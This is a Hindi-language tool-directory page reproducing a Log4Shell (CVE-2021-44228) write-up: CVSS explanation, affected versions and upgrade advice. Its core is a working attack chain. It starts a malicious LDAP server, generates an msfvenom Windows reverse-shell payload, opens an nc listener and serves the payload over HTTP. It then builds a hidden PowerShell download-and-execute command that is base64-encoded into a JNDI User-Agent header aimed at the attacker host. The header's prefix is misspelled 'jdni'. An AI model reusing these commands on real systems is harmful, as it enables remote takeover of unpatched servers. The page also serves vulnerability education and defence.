Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
CVE-2021-44228 — Log4Shell (CVE-2021-44228): विवरण, शोषण और शमन | Kitploit
उपकरण/GitHubGitHub/zaneef/cve-2021-44228
पेलोड जनरेशनभेद्यता विश्लेषणशोषणवेब एप्लिकेशन शोषणकमांड एंड कंट्रोललर्निंग और शिक्षा
GitHubzaneef/cve-2021-44228

CVE-2021-44228

Log4Shell (CVE-2021-44228): विवरण, शोषण और शमन

रिपॉजिटरी देखें
24 साल पहलेअभी तक समीक्षित नहीं

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

CVE-2021-44228

9 दिसंबर 2021 को दुनिया को Log4J से संबंधित एक नई सुरक्षा खामी के बारे में पता चला। इस भेद्यता का CVSSv3 (Common Vulnerability Scoring System) स्कोर 10 आंका गया था, जिससे यह गंभीर (Critical) स्तर की हो गई (https://nvd.nist.gov/vuln/detail/CVE-2021-44228)।

CVSSv3

इसका CVSSv3 वेक्टर निम्नलिखित है: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H।

आइए इन मूल्यों के बारे में थोड़ा स्पष्ट करें ताकि इस आकलन का कारण पूरी तरह समझा जा सके:

  • AV:N (Attack Vector: Network) : हमले का वेक्टर नेटवर्क है, इसलिए कोई भी संवेदनशील डिवाइस दूर से ही शोषण योग्य है।
  • AC:L (Attack Complexity: Low) : हमले की जटिलता कम है, इसलिए इसे वह हमलावर भी अंजाम दे सकता है जिसे भेद्यता, उसके काम करने के तरीके या तकनीकी कौशल का बहुत कम ज्ञान हो।
  • PR:N (Privileged Required: None) : सिस्टम के भीतर किसी विशेषाधिकार की आवश्यकता नहीं है।
  • UI:N (User Interaction: None) : सिस्टम उपयोगकर्ता की किसी भी बातचीत के बिना भी असुरक्षित है।
  • S:C (Scope: Changed)
  • C:H (Confidentiality: High) : मशीन के भीतर जानकारी की गोपनीयता पूरी तरह से भंग हो जाती है। इससे डेटा की गोपनीयता पूरी तरह समाप्त हो जाती है और वह हमलावर को प्रकट हो जाता है।
  • I:H (Integrity: High) : मशीन में मौजूद जानकारी की अखंडता पूरी तरह से भंग हो जाती है। एक हमलावर किसी भी फ़ाइल को संशोधित या हटा सकता है।
  • A:H (Availability: High) : हमलावर मशीन की जानकारी या सेवाओं तक पहुंच को पूरी तरह से अस्वीकार करने में सक्षम है।

Log4J क्या है?

Log4J एक Java लाइब्रेरी है, जो अब Apache Software Foundation परियोजना का हिस्सा है, जो किसी एप्लिकेशन की स्थिति पर नज़र रखने की अनुमति देती है।

यह Java अनुप्रयोगों के लॉगिंग का डी फैक्टो मानक है।

यह कैसे काम करता है?

यह भेद्यता JNDI (Java Naming and Directory Interface) पर आधारित है: एक Java API जो किसी एप्लिकेशन को बाहरी डायरेक्ट्री सेवा (उदाहरण के लिए LDAP) के साथ इंटरैक्ट करने की अनुमति देती है।

यह इंटरैक्शन JNDI की lookup सुविधा के माध्यम से होती है, जो Log4J की डिफ़ॉल्ट कॉन्फ़िगरेशन में सक्षम होती है और रिमोट सर्वर के साथ इंटरैक्शन की अनुमति देती है।

Log4J शोषण के माध्यम से TCP रिवर्स शेल

पढ़ने के लिए कुछ छोटी उपयोगी जानकारी:

  • हमलावर की मशीन का IP 10.0.0.1 है
  • Log4Shell के प्रति असुरक्षित मशीन का IP 10.0.0.2 है
  • असुरक्षित मशीन का ऑपरेटिंग सिस्टम x86 आर्किटेक्चर वाला Windows है
  • असुरक्षित मशीन पर पोर्ट 80 पर एक वेब एप्लिकेशन चल रहा है, जिसे URL http://hackme.com पर देखा जा सकता है
❗ ध्यान दें ❗
नीचे वर्णित हमले की तकनीक केवल इस भेद्यता की वास्तविक खतरनाकता को समझने के लिए उपयोगी होनी चाहिए। लेखक निम्नलिखित लेख के किसी भी दुरुपयोग से दूरी बनाता है और उसकी निंदा करता है।

निम्नलिखित हमले का उद्देश्य Log4Shell का शोषण करके असुरक्षित सिस्टम पर एक reverse shell डाउनलोड और निष्पादित करना है, ताकि उस पर पूर्ण नियंत्रण प्राप्त किया जा सके।

1. हमलावर मशीन की कॉन्फ़िगरेशन

  1. आइए एक दुर्भावनापूर्ण LDAP सर्वर को आरंभ करने के लिए आवश्यक कोड वाली रिपॉज़िटरी डाउनलोड करें
root@kitploit:~
wget https://github.com/feihong-cs/JNDIExploit/releases/download/v1.2/JNDIExploit.v1.2.zip
unzip JNDIExploit.v1.2.zip
java -jar JNDIExploit-1.2-SNAPSHOT.jar -i 10.0.0.1 -p 2222
  1. आइए msfvenom के माध्यम से Windows के लिए TCP reverse shell बनाएं, ताकि पोर्ट 8888 पर मशीन का रिमोट एक्सेस प्राप्त किया जा सके
root@kitploit:~
msfvenom -p windows/shell/reverse_tcp LHOST=10.0.0.1 LPORT=8888 -f exe > payload.exe
  1. आइए असुरक्षित मशीन पर लोड की गई reverse shell से कनेक्शन प्राप्त करने के लिए पोर्ट 8888 पर nc के माध्यम से एक listener प्रारंभ करें
root@kitploit:~
nc -lvnp 8888
  1. आइए लक्ष्य मशीन से मैलवेयर डाउनलोड करने की अनुमति देने के लिए एक HTTP सर्वर चलाएं:
root@kitploit:~
python3 -m http.server 4444
  1. Powershell में निम्न कमांड के माध्यम से, हमलावर अपने HTTP सर्वर से जुड़ने, C:\windows\temp निर्देशिका के अंदर मैलवेयर डाउनलोड करने और उसे निष्पादित करने में सक्षम होगा
root@kitploit:~
powershell -ExecutionPolicy bypass -nop -windowstyle hidden -command (New-Object System.Net.WebClient).DownloadFile("http://10.0.0.1:4444/payload.exe", "C:\Windows\temp\payload.exe");Start-Process("C:\Windows\temp\payload.exe")
  1. आइए पिछले payload को निम्न कमांड के माध्यम से base64 में एन्कोड करें
root@kitploit:~
echo 'powershell -ExecutionPolicy bypass -nop -windowstyle hidden -command (New-Object System.Net.WebClient).DownloadFile("http://10.0.0.1:4444/payload.exe", "C:\Windows\temp\payload.exe");Start-Process("C:\Windows\temp\payload.exe")' | base64

पिछले कमांड का परिणाम निम्नलिखित है:

root@kitploit:~
cG93ZXJzaGVsbCAtRXhlY3V0aW9uUG9saWN5IGJ5cGFzcyAtbm9wIC13aW5kb3dzdHlsZSBoaWRkZW4gLWNvbW1hbmQgKE5ldy1PYmplY3QgU3lzdGVtLk5ldC5XZWJDbGllbnQpLkRvd25sb2FkRmlsZSgiaHR0cDovLzEwLjAuMC4xOjQ0NDQvcGF5bG9hZC5leGUiLCAiQzpcV2luZG93c1x0ZW1wXHBheWxvYWQuZXhlIik7U3RhcnQtUHJvY2VzcygiQzpcV2luZG93c1x0ZW1wXHBheWxvYWQuZXhlIik=

2. एक्सप्लॉइट

  1. मान लीजिए कि वेब एप्लिकेशन किसी आगंतुक के User-Agent को लॉग करता है। हमलावर निम्न जैसा अनुरोध भेजता है:
root@kitploit:~
GET / HTTP/1.1
Host: hackme.com
User-Agent: ${jdni:ldap://10.0.0.1:1389/Basic/Command/Base64/cG93ZXJzaGVsbCAtRXhlY3V0aW9uUG9saWN5IGJ5cGFzcyAtbm9wIC13aW5kb3dzdHlsZSBoaWRkZW4gLWNvbW1hbmQgKE5ldy1PYmplY3QgU3lzdGVtLk5ldC5XZWJDbGllbnQpLkRvd25sb2FkRmlsZSgiaHR0cDovLzEwLjAuMC4xOjQ0NDQvcGF5bG9hZC5leGUiLCAiQzpcV2luZG93c1x0ZW1wXHBheWxvYWQuZXhlIik7U3RhcnQtUHJvY2VzcygiQzpcV2luZG93c1x0ZW1wXHBheWxvYWQuZXhlIik=}
  1. यह स्ट्रिंग
root@kitploit:~
${jdni:ldap://10.0.0.1:1389/Basic/Command/Base64/cG93ZXJzaGVsbCAtRXhlY3V0aW9uUG9saWN5IGJ5cGFzcyAtbm9wIC13aW5kb3dzdHlsZSBoaWRkZW4gLWNvbW1hbmQgKE5ldy1PYmplY3QgU3lzdGVtLk5ldC5XZWJDbGllbnQpLkRvd25sb2FkRmlsZSgiaHR0cDovLzEwLjAuMC4xOjQ0NDQvcGF5bG9hZC5leGUiLCAiQzpcV2luZG93c1x0ZW1wXHBheWxvYWQuZXhlIik7U3RhcnQtUHJvY2VzcygiQzpcV2luZG93c1x0ZW1wXHBheWxvYWQuZXhlIik=

Log4J को भेजी जाती है, जो इसे व्याख्यायित करता है और JNDI के माध्यम से हमलावर के LDAP सर्वर से अनुरोध करता है

root@kitploit:~
ldap://10.0.0.1:1389/Basic/Command/Base64/cG93ZXJzaGVsbCAtRXhlY3V0aW9uUG9saWN5IGJ5cGFzcyAtbm9wIC13aW5kb3dzdHlsZSBoaWRkZW4gLWNvbW1hbmQgKE5ldy1PYmplY3QgU3lzdGVtLk5ldC5XZWJDbGllbnQpLkRvd25sb2FkRmlsZSgiaHR0cDovLzEwLjAuMC4xOjQ0NDQvcGF5bG9hZC5leGUiLCAiQzpcV2luZG93c1x0ZW1wXHBheWxvYWQuZXhlIik7U3RhcnQtUHJvY2VzcygiQzpcV2luZG93c1x0ZW1wXHBheWxvYWQuZXhlIik=
  1. मैलवेयर डाउनलोड किया जाता है और निष्पादित किया जाता है।

  2. हमलावर को पोर्ट 8888 पर मशीन का शेल मिल जाता है।

क्या मैं असुरक्षित हूँ?

सबसे पहले यह याद रखना आवश्यक है कि यह एक ऐसी भेद्यता है जो केवल उन सॉफ़्टवेयरों को प्रभावित करती है जो Java या उसके किसी व्युत्पन्न का उपयोग करते हैं (और निश्चित रूप से लॉगिंग लाइब्रेरी के रूप में Log4J)।

  • 2.0-beta9 - 2.14.1: Log4Shell के प्रति असुरक्षित संस्करण 2.0-beta9 से 2.14.1 तक हैं।
  • 2.15.0: Log4J का 2.15.0 संस्करण असुरक्षित पाया गया है। CVE-2021-45046। फिलहाल इस भेद्यता की रेटिंग "9.0 Critical" है।
  • 2.16.0: Log4J का 2.16.0 संस्करण असुरक्षित पाया गया है। CVE-2021-45105। फिलहाल इस भेद्यता की रेटिंग "7.5 High" है।

Log4J का 1.x संस्करण इस संदर्भित सुरक्षा छिद्र के प्रति सख्त रूप से असुरक्षित नहीं है, लेकिन 2015 में बंद किए जाने के अलावा, यह निम्नलिखित भेद्यता से प्रभावित है: CVE-2021-4104।

मैं इसका समाधान कैसे करूँ?

सबसे अच्छा समाधान Log4J को 2.17.0 संस्करण में अपडेट करना है।

टूल डाउनलोड करें